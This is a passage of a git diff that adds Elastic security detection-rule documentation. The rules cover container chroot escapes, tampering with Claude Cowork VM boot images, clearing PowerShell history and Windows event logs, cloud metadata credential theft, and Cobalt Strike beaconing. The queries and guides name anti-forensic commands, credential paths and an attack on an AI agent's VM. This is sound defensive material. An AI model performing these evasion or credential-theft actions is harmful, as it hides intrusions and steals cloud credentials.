+) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-chroot-execution-in-container-context-on-linux.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-chroot-execution-in-container-context-on-linux.asciidoc new file mode 100644 index 0000000000..03925deb0c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-chroot-execution-in-container-context-on-linux.asciidoc @@ -0,0 +1,178 @@ +[[prebuilt-rule-8-19-34-chroot-execution-in-container-context-on-linux]] +=== Chroot Execution in Container Context on Linux + +Detects chroot execution on Linux when the process appears to run in a container-oriented context: the process title matches runc init, the entry leader is a container workload, or the parent process is runc. Chroot from inside a container can pivot to an alternate root filesystem and is a common step in container breakout attempts when combined with sensitive host mounts. + +*Rule type*: query + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://some-natalie.dev/container-escapes-chroot/ +* https://attack.mitre.org/techniques/T1611/ + +*Tags*: + +* Data Source: Auditd Manager +* Data Source: Elastic Defend +* Domain: Containers +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Linux + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Chroot Execution in Container Context on Linux* + + +This alert is the host-process analogue to Defend for Containers chroot coverage: it keys on chroot binaries or +arguments plus signals that the execution is tied to a container runtime (runc parent, runc init title, or Elastic +Defend container session metadata). Review the command line for the target root path, especially host-linked mounts such +as `/host`, `/proc/1/root`, or unexpected node paths. + + +*Possible investigation steps* + + +- Confirm whether the workload was expected to use chroot and whether the target directory is an internal build root + versus a host filesystem mount. +- For Elastic Defend events, use session and entry leader context to map the pod or container image; for Auditd + Manager events, pivot on `process.parent` and nearby syscall activity on the same host. +- Hunt for follow-on shell execution, access to the container runtime socket, or kubelet credential paths. + + +*False positive analysis* + + +- Legitimate image builds and package installs may chroot into a prepared rootfs; tune by parent process, user, or CI + agent identity when noise is high. + + +*Response and remediation* + + +- If unauthorized, isolate the workload and node, preserve artifacts, and rotate credentials exposed to the container. + + +==== Setup + + + +*Setup* + + +This rule requires process execution telemetry from Elastic Defend and/or Auditd Manager on Linux. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows +the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest to select "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditd Manager Integration Setup* + +The Auditd Manager Integration receives audit events from the Linux Audit Framework which is a part of the Linux kernel. +Auditd Manager provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system. + + +*The following steps should be executed in order to add the Elastic Agent System integration "auditd_manager" on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Auditd Manager" and select the integration to see more details about it. +- Click "Add Auditd Manager". +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed "auditd manager" to an existing or a new agent policy, and deploy the agent on a Linux system from which auditd log files are desirable. +- Click "Save and Continue". +- For more details on the integration refer to the https://docs.elastic.co/integrations/auditd_manager[helper guide]. + + +*Rule Specific Setup Note* + +Ensure execve (or equivalent process) auditing is enabled so `event.category:process` and process fields populate for +chroot invocations. Container-context clauses that rely on `process.entry_leader` or `process.title` are primarily +populated on Elastic Defend; Auditd Manager match when `process.title` matches on container runc. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:process and +event.type:start and event.action:(executed or exec) and +(process.name:"chroot" or process.args:("chroot" or "/bin/chroot" or "/usr/bin/chroot" or "/usr/local/bin/chroot")) and +(process.title:"runc init" or process.entry_leader.entry_meta.type:"container" or process.parent.name:("runc" or "containerd-shim-runc-v2")) and +not process.args:(apt-get or add-apt-repository or apt-cache* or */var/lib/rancher/agent/tmp* or dpkg) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-claude-cowork-vm-boot-image-tamper.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-claude-cowork-vm-boot-image-tamper.asciidoc new file mode 100644 index 0000000000..f417248500 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-claude-cowork-vm-boot-image-tamper.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-34-claude-cowork-vm-boot-image-tamper]] +=== Claude Cowork VM Boot Image Tamper + +Detects unexpected modification of Claude Desktop Cowork VM boot images (kernel, initrd, root filesystem). Adversaries with user-context access can rewrite these stored images so later Cowork sessions boot attacker-controlled code inside a virtual instance that host EDR cannot inspect by default. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://y637f9qq2x.com/posts/cowork-boot-trust + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Domain: LLM +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: macOS +* Domain: GenAI + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Claude Cowork VM Boot Image Tamper* + + +Cowork boots a local Linux VM from images under the user's Claude AppData / Application Support tree. Those files are +writable by the user and are not integrity-checked before boot. A non-Claude writer changing them is a strong signal of +post-compromise defense evasion: later Cowork sessions can run attacker code inside a sanctioned Hyper-V / +Virtualization.framework guest that host EDR does not see by default. This does not grant new privileges. + + +*Possible investigation steps* + + +- Confirm the writer: `process.name`, `process.executable`, `process.parent.executable`, and `user.name`. This rule + already excludes Claude Desktop (`claude.exe` under `WindowsApps\Claude_*\app\`, and `Claude` / + `Claude Helper` under `/Applications/Claude.app/`). Any other writer (script host, LOLBin, unsigned binary) is + unexpected. +- Note which artifact changed (`file.name` / `file.path`) and `event.action`: + - `initrd` / `initrd.zst`: primary PoC target; both are often replaced together so the service cannot re-extract a + clean initrd from the `.zst`. + - `vmlinuz` / `rootfs.*` / `smol-bin.vhdx`: full guest control if replaced. +- Pivot on `process.entity_id` / `host.id` for ~30m around the alert: how the writer started, other file writes under + the Claude package path, and whether `claude.exe` / Claude.app then started a Cowork session. +- If Cowork runs afterward, check whether the session failed and Claude re-downloaded images (careless tamper) or + continued normally (payload may have kept the expected guest daemon alive). +- Treat this as evidence of existing host compromise; hunt for the initial access that produced the writer process. + + +*False positive analysis* + + +- Claude Desktop updates should not alert; if they do, the install path likely changed (new WindowsApps package layout + or non-AppX install) and the allowlist needs updating, not an exception for the writer name alone. +- Backup or sync tools rewriting these exact filenames are uncommon; require a stable `process.executable` before + adding an exception. This rule watches create/overwrite/rename/modification only; deletions are out of scope. + + +*Response and remediation* + + +- Delete or restore the affected bundle directory (Windows: + `%LOCALAPPDATA%\Packages\Claude_*\LocalCache\Roaming\Claude\vm_bundles\claudevm.bundle\`; macOS: + `~/Library/Application Support/Claude/vm_bundles/claudevm.bundle/`) and let Claude re-download trusted images, or + restore from a known-good backup. +- Isolate the host and investigate the writer process lineage; rotate credentials and secrets available to that user. +- Search the environment for the same writer hash/path and for other unexpected modifications under Claude package + paths. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type in ("windows", "macos") and + event.action in ("creation", "modification", "overwrite", "rename") and + event.outcome == "success" and + file.path : ( + "/Users/*/Library/Application Support/Claude/vm_bundles/claudevm.bundle/initrd", + "/Users/*/Library/Application Support/Claude/vm_bundles/claudevm.bundle/initrd.zst", + "/Users/*/Library/Application Support/Claude/vm_bundles/claudevm.bundle/vmlinuz", + "/Users/*/Library/Application Support/Claude/vm_bundles/claudevm.bundle/vmlinuz.zst", + "/Users/*/Library/Application Support/Claude/vm_bundles/claudevm.bundle/rootfs.img", + "?:\\Users\\*\\AppData\\Local\\Packages\\Claude_*\\LocalCache\\Roaming\\Claude\\vm_bundles\\claudevm.bundle\\initrd", + "?:\\Users\\*\\AppData\\Local\\Packages\\Claude_*\\LocalCache\\Roaming\\Claude\\vm_bundles\\claudevm.bundle\\initrd.zst", + "?:\\Users\\*\\AppData\\Local\\Packages\\Claude_*\\LocalCache\\Roaming\\Claude\\vm_bundles\\claudevm.bundle\\vmlinuz", + "?:\\Users\\*\\AppData\\Local\\Packages\\Claude_*\\LocalCache\\Roaming\\Claude\\vm_bundles\\claudevm.bundle\\rootfs.vhdx", + "?:\\Users\\*\\AppData\\Local\\Packages\\Claude_*\\LocalCache\\Roaming\\Claude\\vm_bundles\\claudevm.bundle\\smol-bin.vhdx" + ) and + not ( + (process.name : "claude.exe" and + process.executable : "?:\\Program Files\\WindowsApps\\Claude_*\\app\\claude.exe") or + (process.name : ("Claude", "Claude Helper") and + process.executable like "/Applications/Claude.app/*") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Run Virtual Instance +** ID: T1564.006 +** Reference URL: https://attack.mitre.org/techniques/T1564/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-clearing-windows-console-history.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-clearing-windows-console-history.asciidoc new file mode 100644 index 0000000000..eb385eeeac --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-clearing-windows-console-history.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-34-clearing-windows-console-history]] +=== Clearing Windows Console History + +Identifies when a user attempts to clear console history. An adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://stefanos.cloud/kb/how-to-clear-the-powershell-command-history/ +* https://www.shellhacks.com/clear-history-powershell/ +* https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 321 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Clearing Windows Console History* + + +PowerShell is one of the main tools system administrators use for automation, report routines, and other tasks. This makes it available for use in various environments, and creates an attractive way for attackers to execute code. + +Attackers can try to cover their tracks by clearing PowerShell console history. PowerShell has two different ways of logging commands: the built-in history and the command history managed by the PSReadLine module. This rule looks for the execution of commands that can clear the built-in PowerShell logs or delete the `ConsoleHost_history.txt` file. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. + - Verify if any other anti-forensics behaviors were observed. +- Investigate the PowerShell logs on the SIEM to determine if there was suspicious behavior that an attacker may be trying to cover up. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + - Ensure that PowerShell auditing policies and log collection are in place to grant future visibility. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + ( + process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe") or + ?process.pe.original_file_name in ("PowerShell.EXE", "pwsh.dll", "powershell_ise.EXE") + ) and + ( + process.command_line : "*Clear-History*" or + ( + process.command_line : ("*Remove-Item*", "* rm *") and + process.command_line : ("*ConsoleHost_history.txt*", "*(Get-PSReadlineOption).HistorySavePath*") + ) or + (process.command_line : "*Set-PSReadlineOption*" and process.command_line : "*SaveNothing*") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: Clear Command History +** ID: T1070.003 +** Reference URL: https://attack.mitre.org/techniques/T1070/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-clearing-windows-event-logs.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-clearing-windows-event-logs.asciidoc new file mode 100644 index 0000000000..dee8d8a849 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-clearing-windows-event-logs.asciidoc @@ -0,0 +1,176 @@ +[[prebuilt-rule-8-19-34-clearing-windows-event-logs]] +=== Clearing Windows Event Logs + +Identifies attempts to clear or disable Windows event log stores using Windows wevetutil command. This is often done by attackers in an attempt to evade detection or destroy forensic evidence on a system. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/invisible-miners-unveiling-ghostengine + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 323 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Clearing Windows Event Logs* + + +Windows event logs are a fundamental data source for security monitoring, forensics, and incident response. Adversaries can tamper, clear, and delete this data to break SIEM detections, cover their tracks, and slow down incident response. + +This rule looks for the execution of the `wevtutil.exe` utility or the `Clear-EventLog` cmdlet to clear event logs. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. + - Verify if any other anti-forensics behaviors were observed. +- Investigate the event logs prior to the action for suspicious behaviors that an attacker may be trying to cover up. + + +*False positive analysis* + + +- This mechanism can be used legitimately. Analysts can dismiss the alert if the administrator is aware of the activity and there are justifications for this action. +- Analyze whether the cleared event log is pertinent to security and general monitoring. Administrators can clear non-relevant event logs using this mechanism. If this activity is expected and noisy in your environment, consider adding exceptions — preferably with a combination of user and command line conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. + - This activity is potentially done after the adversary achieves its objectives on the host. Ensure that previous actions, if any, are investigated accordingly with their response playbooks. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and +( + ( + (process.name : "wevtutil.exe" or ?process.pe.original_file_name == "wevtutil.exe") and + process.args : ("/e:false", "cl", "clear-log") + ) or + ( + ( + process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe") or + ?process.pe.original_file_name in ("PowerShell.EXE", "pwsh.dll", "powershell_ise.EXE") + ) and + process.args : "Clear-EventLog" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: Clear Windows Event Logs +** ID: T1070.001 +** Reference URL: https://attack.mitre.org/techniques/T1070/001/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable Windows Event Logging +** ID: T1562.002 +** Reference URL: https://attack.mitre.org/techniques/T1562/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-cloud-instance-metadata-credential-path-http-request.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-cloud-instance-metadata-credential-path-http-request.asciidoc new file mode 100644 index 0000000000..140ea4acc0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-cloud-instance-metadata-credential-path-http-request.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-34-cloud-instance-metadata-credential-path-http-request]] +=== Cloud Instance Metadata Credential Path HTTP Request + +Detects HTTP GET requests to the link-local instance metadata service (169.254.169.254) for cloud credential or token paths on AWS, GCP, or Azure. Adversaries and vulnerable workloads use scripts, shells, or application runtimes to read IAM role credentials or OAuth tokens from the metadata API. Requires the Network Packet Capture integration with HTTP decoding on ports 80 and 443 and process enrichment enabled so "process.*" fields are present. + +*Rule type*: eql + +*Rule indices*: + +* logs-network_traffic.http* +* packetbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/network_traffic +* https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ + +*Tags*: + +* Domain: Cloud +* Domain: Network +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Network Packet Capture +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Profile: Recommended +* Threat: IMDS Credential Theft +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Cloud Instance Metadata Credential Path HTTP Request* + + +This rule matches outbound HTTP GETs to `169.254.169.254` where the URL path requests IAM credentials or cloud OAuth +tokens, filtered to common scripting runtimes, suspicious executable paths, or tool-like user agents. + + +*Investigation steps* + + +- Confirm `url.path` (AWS `security-credentials`, GCP `oauth2/access_token`, Azure `metadata/identity/oauth2/token`). +- Review `process.name`, `process.executable`, and `user_agent.original` — scripted tools and temp-path binaries are higher risk. +- Check `host.name` or `host.hostname` and whether the workload should run on a cloud VM with an instance profile or managed identity. +- Correlate with cloud audit or sign-in logs for role assumption or token use shortly after the request. +- If credentials may have been exposed, rotate the instance role or managed identity and review API activity from that principal. + + +*False positives* + + +- Platform agents and bootstrap scripts on new instances; allowlist by user agent or host group where validated. + + +*Response* + + +- Restrict IMDS access (IMDSv2 hop limit, network policy) and remove unnecessary instance permissions. +- Investigate the host for follow-on credential use or lateral movement. + +Deploy the https://www.elastic.co/docs/reference/integrations/network_traffic[Network Packet Capture] integration via Fleet on cloud workloads. + +- Enable **Capture HTTP Traffic** and include ports **80** and **443**. +- Enable **Monitor Processes** so network events include the process that initiated the connection. +- Prefer ECS field remapping (`map_to_ecs`) on integration data streams. + +==== Setup + + +Deploy the Network Packet Capture integration via Fleet on cloud workloads. + +Enable Capture HTTP Traffic and include ports 80 and 443.Enable Monitor Processes so network events include the process that initiated the connection.Prefer ECS field remapping (`map_to_ecs`) on integration data streams. + +==== Rule query + + +[source, js] +---------------------------------- +network where event.module == "network_traffic" and destination.ip == "169.254.169.254" and destination.port == 80 and +http.request.method == "GET" and url.path : ( + "/latest/meta-data/iam/security-credentials/*", + "*computeMetadata/v1/instance/service-accounts/*/oauth2/access_token*", + "*metadata/identity/oauth2/token*" +) and ( + ?process.name : ( + "curl", "wget", "python*", "node", "bun", "php*", "ruby", "perl", "bash", "dash", "sh", "tcsh", "tclsh", "wish", + "csh", "zsh", "ksh", "fish", "mksh", "busybox", + "bun.exe", "node.exe", "powershell.exe", "cmd.exe", "curl.exe", "wget.exe", "rundll32.exe", "w3wp.exe", "java*", + "go", "nc", "netcat", "nginx", "apache*", "httpd", "tomcat*", "catalina", "spring*", "dotnet", "gunicorn", "uwsgi", + ".*", "osascript" + ) or ?process.executable : ( + "/tmp/*", "/var/tmp/*", "/dev/shm/*", "/home/*/*", "/var/run/*", "/run/*", "/boot/*", "/.*", "C:\\Users\\*", "?:\\ProgramData\\*" + ) or user_agent.original : ( + "curl*", "wget*", "python*", "ruby*", "Go-http-client*", "node*", "axios*", "undici*", "java*", "php*", "Bun*", + "Apache-HttpClient*", "okhttp*", "RestTemplate*", "*WindowsPowerShell*", "*roadtools*", "*fasthttp*", "*azurehound*", "*bloodhound*", "*aiohttp*" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Cloud Instance Metadata API +** ID: T1552.005 +** Reference URL: https://attack.mitre.org/techniques/T1552/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-cobalt-strike-command-and-control-beacon.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-cobalt-strike-command-and-control-beacon.asciidoc new file mode 100644 index 0000000000..e524a01c79 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-cobalt-strike-command-and-control-beacon.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-34-cobalt-strike-command-and-control-beacon]] +=== Cobalt Strike Command and Control Beacon + +Cobalt Strike is a threat emulation platform commonly modified and used by adversaries to conduct network attack and exploitation campaigns. This rule detects a network activity algorithm leveraged by Cobalt Strike implant beacons for command and control. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.morphisec.com/fin7-attacks-restaurant-industry +* https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html +* https://www.elastic.co/security-labs/collecting-cobalt-strike-beacons-with-the-elastic-stack + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Command and Control +* Domain: Endpoint +* Rule Type: ES|QL +* Data Source: Fortinet +* Data Source: PAN-OS +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Domain: Network +* Data Source: Network Packet Capture + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Cobalt Strike Command and Control Beacon* + + +Cobalt Strike is a penetration testing tool often repurposed by attackers for malicious activities, particularly for establishing command and control (C2) channels. Adversaries exploit its beaconing feature to communicate with compromised systems using common protocols like HTTP or TLS. The detection rule identifies suspicious network patterns, such as specific domain naming conventions, indicative of Cobalt Strike's C2 